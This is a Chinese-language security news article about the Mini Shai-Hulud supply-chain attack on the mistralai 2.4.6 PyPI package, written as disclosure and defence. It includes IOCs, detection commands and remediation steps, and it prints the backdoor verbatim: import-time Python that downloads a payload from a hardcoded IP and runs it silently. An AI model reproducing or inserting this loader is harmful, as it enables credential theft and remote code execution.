Hermes智能体遭投毒攻击 用户密码安全风险紧急预警

刚刚，一则关于 Hermes Agent 遭遇供应链攻击的紧急安全警报在开发者社区迅速传播，引发了广泛关注与担忧。

免费影视、动漫、音乐、游戏、小说资源长期稳定更新！ 👉 点此立即查看 👈

起初，这看起来像是一次针对开源依赖的常规攻击。有用户在技术论坛中指出，Hermes Agent 所依赖的一个核心 PyPI 包——mistralai——可能已被植入恶意代码。尽管问题根源不在 Hermes Agent 本体，但其潜在影响范围之广，足以让所有使用相关技术的开发者提高警惕。

关键在于，这个名为“mistralai”的包，绝非一个默默无闻的第三方库。它是 Mistral AI 官方的 Python SDK。Mistral AI 作为一家法国人工智能公司，自2023年成立以来，已迅速崛起为欧洲估值最高的AI独角兽之一，其开源大模型在技术社区中享有极高声誉。该项目在 GitHub 上已收获超过一万个星标，是众多AI应用开发的基础组件。

正是这样一家头部AI公司的官方项目，成为了此次供应链攻击的目标。一旦AI Agent所依赖的底层SDK被植入后门，安全风险便会沿着运行环境迅速扩散，攻击者能够窃取服务器中的各类核心凭据，包括API密钥、访问令牌等敏感信息。

消息公布后，社区内许多开发者立即行动起来。有人表示最近才开始试用Hermes Agent，有人正准备部署就看到了安全警告，更多人的第一反应是立即检查自己的服务器日志和密钥管理平台，确认是否存在泄露迹象。

一、攻击，是为了拿钥匙

让我们深入剖析这次供应链安全事件的来龙去脉。

问题的核心并非 Mistral AI 的模型本身，而是 PyPI 仓库中 mistralai 包的 2.4.6 版本。根据官方发布的安全公告，攻击者在该版本的 src/mistralai/client/__init__.py 文件中植入了一段精心设计的恶意代码。任何在 Linux 系统上导入（import）这个包的操作，都会自动触发这段代码的执行。

这段恶意代码的构造相当隐蔽。它首先会检测当前运行环境是否为 Linux 系统。确认后，便会从一个硬编码的IP地址下载名为 transformers.pyz 的恶意负载文件，并将其保存到系统的临时目录（/tmp/），随后在后台以静默方式运行。

从 GitHub 上披露的代码片段分析，攻击者还巧妙地利用了 MISTRAL_INIT 这个环境变量作为一次性执行的标记，防止恶意行为重复触发。同时，代码捕获并吞没了所有可能出现的错误信息，使得普通用户极难在第一时间通过日志发现异常。

## Summary
`mistralai@2.4.6` contains a backdoor in `src/mistralai/client/__init__.py` (lines 21-48) that downloads and executes an arbitrary payload from a hardcoded IP address on Linux systems at import time.

## Malicious Code
import subprocess as _sub
import os as _os
def _run_background_task():
    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
        return
    _os.environ["MISTRAL_INIT"] = "1"
    _url = "https://83.142.209.194/transformers.pyz"
    _dest = "/tmp/transformers.pyz"
    try:
        if not _os.path.exists(_dest):
            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass
_run_background_task()  # Executes on import

## Beha vior
1. **Targets Linux only** (`sys.platform.startswith("linux")`)
2. Downloads `https://83.142.209.194/transformers.pyz` via `curl -k` (disables TLS verification)
3. Sa ves payload to `/tmp/transformers.pyz`
4. Executes it as a background Python process (`start_new_session=True`, stdout/stderr silenced)
5. Triggered automatically on `import mistralai` — no user action needed
6. Uses `MISTRAL_INIT` env var as single-execution guard
7. Bare `except: pass` swallows all errors silently

## IOCs
| Type | Value |
|------|-------|
| **C2 IP** | `83.142.209.194` |
| **Payload URL** | `https://83.142.209.194/transformers.pyz` |
| **Payload path** | `/tmp/transformers.pyz` |
| **Env variable** | `MISTRAL_INIT=1` |
| **File** | `src/mistralai/client/__init__.py` lines 21-48 |
| **SHA256 (tarball)** | `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b` |

## Affected File
`src/mistralai/client/__init__.py` — this code does NOT exist in version `2.4.5`.

## Recommended Actions
1. **Yank `2.4.6` from PyPI immediately**
2. Audit PyPI publishing credentials and CI/CD pipeline for compromise
3. Any Linux system that ran `pip install mistralai==2.4.6` or `pip install --upgrade mistralai` since 2026-05-12T00:05Z should check for `/tmp/transformers.pyz` and investigate

这个在后台运行的恶意进程，其主要目标是窃取各类敏感凭据。它会系统性地扫描服务器上的常见配置文件位置，例如 .env 文件中存储的 OpenAI API Key、Mistral API Key、GitHub Token、数据库连接密码，以及AWS、Azure、GCP等主流云服务商的访问密钥（AK/SK）和CI/CD流水线的发布权限令牌。

微软安全团队对此事件的分析报告进一步揭示，这个被下载的远程负载本身就是一个功能完整的凭据窃取器。更值得注意的是，该窃取器还包含了基于地理位置的判定逻辑：如果检测到系统环境为俄语，它会直接退出，不执行窃取操作；而如果判定系统属于以色列或伊朗，则有六分之一的概率执行 rm -rf / 命令，对系统进行破坏性删除。

事实上，mistralai 2.4.6 并非孤立事件，它只是近期一波大规模、有组织的供应链攻击中的一环。 已知受影响的 PyPI 包还包括 guardrails-ai@0.10.1。安全研究人员将这波协同攻击命名为 Mini Shai-Hulud。这个名字来源于科幻经典《沙丘》，Shai-Hulud 指代星球上巨大的沙虫，而“迷你”版本则暗示其攻击形态相对较小但具备极强的扩散和破坏能力。

这波攻击浪潮始于5月11日，首先在 npm 生态系统中爆发。受害者名单不仅包括 Mistral AI，还波及前端领域极负盛名的 TanStack（其 React 表格和路由库被全球开发者广泛使用）。根据 Snyk 的安全分析，在 UTC 时间5月11日一个极短的时间窗口内，TanStack 命名空间下的42个包被发布了84个恶意版本，而且这些包是通过 TanStack 自身合法的 CI/CD 发布流水线推送出去的，这使得攻击更具隐蔽性。

攻击随后迅速向其他生态扩散。据统计，在5月11日至12日期间，攻击者共发布了超过170个 npm 包和2个 PyPI 包的恶意版本，总计404个。受影响的知名开源组织名单不断延长，包括了 UiPath、OpenSearch、Guardrails AI 等。

整个攻击链条最令人警醒的一点在于，根据 TanStack 的事后复盘以及多家安全团队的分析，攻击者并未直接攻破 PyPI 或 npm 的官方服务器，也没有窃取开发者本地的个人凭据或发布令牌。

他们真正攻陷的，是项目“自动化发布链路”本身。攻击手法大致如下：攻击者先在项目的一个 fork 仓库上发起一个特殊的 Pull Request（利用 pull_request_target 事件），巧妙地利用 GitHub Actions 的工作机制污染了 pnpm 的包缓存。当项目维护者后续合并主分支、触发正式的发布工作流时，被污染的缓存就在 GitHub 的 CI 运行器（runner）中被还原。接着，攻击者的二进制程序直接从运行器的进程内存中读取 OIDC 令牌，最终利用这套“合法身份”完成了恶意版本的发布。目前，攻击者的具体身份和动机尚未有最终定论。

二、如何自查是否被攻击？

那么，作为开发者或运维人员，如何快速判断自己的生产或开发环境是否已经受到此次供应链攻击的影响？

如果你在运行 Hermes Agent 或其他依赖 mistralai 包的服务器上执行以下命令：

python -m pip show mistralai | grep -i '^Version'

如果返回结果是：

Version: 2.4.6

那么你的系统就处于高风险状态，需要立即采取行动。

接下来，检查系统的临时目录中是否存在攻击者留下的恶意负载文件：

ls -la /tmp/transformers.pyz

如果这个文件存在，说明恶意代码已被下载并可能已执行。

进一步，查看系统后台是否有相关的 Python 进程在静默运行：

pgrep -af '/tmp/transformers.pyz'

如果查到了相关进程，可以检查该进程的环境变量中是否包含攻击者设置的一次性标记：

for pid in $(pgrep -f '/tmp/transformers.pyz'); do
    echo "PID: $pid"
    tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep '^MISTRAL_INIT='
done

最后，检查服务器的网络连接记录，确认是否与攻击者控制的命令与控制服务器（C2）有过通信：

sudo ss -tunap | grep '83.142.209.194'

如果不幸确认中招，切记，仅仅使用 pip uninstall 卸载这个包是远远不够的，无法清除已造成的安全隐患。

标准的安全应急响应步骤应包括：立即停止使用所有受影响的软件版本，彻底清理安装过这些恶意包的系统环境，轮换该系统能够访问到的所有API密钥、访问令牌和云服务凭据，仔细审查云平台的操作审计日志以寻找异常行为，并持续监控网络流量中与已知攻击服务器（C2）的连接企图。

一个必须牢记的核心安全原则是：如果你的 Linux 服务器上曾安装过 mistralai 2.4.6，你必须默认假设这台机器上存储的所有密钥和敏感信息都可能已经泄露，并据此采取全面的凭证更新和系统加固措施。

三、信任被污染

这次“Mini Shai-Hulud”攻击事件，赤裸裸地暴露了当前开源软件供应链中最致命的一类安全问题：信任链的源头污染。

过去，我们评估一个软件包是否安全可靠，通常依赖于几个简单的信任信号：包名是否与官方一致、发布者账户是否经过验证、下载源是否是 PyPI 或 npm 这类公认的可信仓库。

但此次攻击最阴险之处，恰恰在于它精准地利用了用户对这种“正规发布路径”的盲目信任。攻击者不再试图伪造一个相似的包名，而是直接劫持了官方项目的发布流程。

TanStack 的案例尤为典型，恶意版本是通过项目方自己合法且受信的 CI/CD 流水线发布的。这意味着，攻击者成功地将“可信的构建与发布通道”变成了“投毒管道”，使得恶意代码披上了官方认证的外衣。

而在 mistralai 的案例中，根据 GitHub 发布的安全公告，2.4.6 版本在代码仓库中没有对应的标签（tag）、没有相应的提交（commit），也没有正常的发布工作流记录。这说明它并非从仓库的标准开发流程产生，但它却依然出现在了 PyPI 上冠以“mistralai”之名的官方包下。对于绝大多数依赖自动化工具安装的开发者而言，只要包名正确、来源显示为官方，信任便自动建立，安全审查往往在此刻失效。

两种攻击路径虽有技术差异，但本质相同：攻击者瞄准的都不是单个终端用户，而是整个开发者社区对“官方包名”和“自动化安装流程”的集体信任体系。那些旨在提升开发效率的一键安装脚本或自动化部署流程，在精密的供应链攻击面前，可能瞬间变为恶意代码高速扩散的“特快通道”。

这给所有软件开发者和运维工程师敲响了必须重视的警钟。你不需要成为顶尖的安全专家，但必须建立基础的供应链安全意识：一个 AI Agent 或任何软件的安全性，绝不只取决于它自身仓库的代码质量。

首先，对于通过包管理器安装的每一个 SDK、工具库，乃至从互联网执行的每一行部署脚本，都应该建立可追溯的源头管理机制。这包括锁定依赖的具体版本号、校验发布文件的哈希值、并审查其来源仓库的发布历史。盲目信任并始终安装“最新版”（latest）是一种高风险行为。

其次，现代软件项目的安全防护边界必须前移和扩大。安全考量不能仅限于应用代码仓库本身。构建服务器（Builder）、CI/CD 系统的访问权限、OIDC 身份配置、发布令牌的生命周期管理等，都需要纳入严格的安全治理范畴。因为一旦攻击者掌控了发布链路，他们就不再需要费力植入隐蔽的后门，而是可以“光明正大”地利用你的官方渠道和信誉来分发恶意版本。

最后，在架构和权限设计上，必须贯彻最小权限原则。AI Agent 或任何自动化工具，不应默认获得宿主机的全部环境变量、所有密钥和完整的文件系统访问权限。尤其是像 .env 配置文件、云服务商密钥、GitHub Personal Access Token、大模型 API Key 这类高价值敏感信息，应该通过环境隔离、设置为只读权限、并使用短期有效的动态令牌等方式进行保护，从而在发生泄露时最大限度降低损失范围。

这次事件或许预示着一个重要的转折点。未来真正成熟、值得企业信赖的 AI Agent 产品，其核心竞争力可能不仅仅是“能够调用更多工具”或“拥有更强的推理能力”。它必须能够向用户清晰证明并回答一个更根本的安全问题：用户交给它的那些掌管数据和资源的“钥匙”，在其复杂的依赖链条和运行环境中，是否始终安全？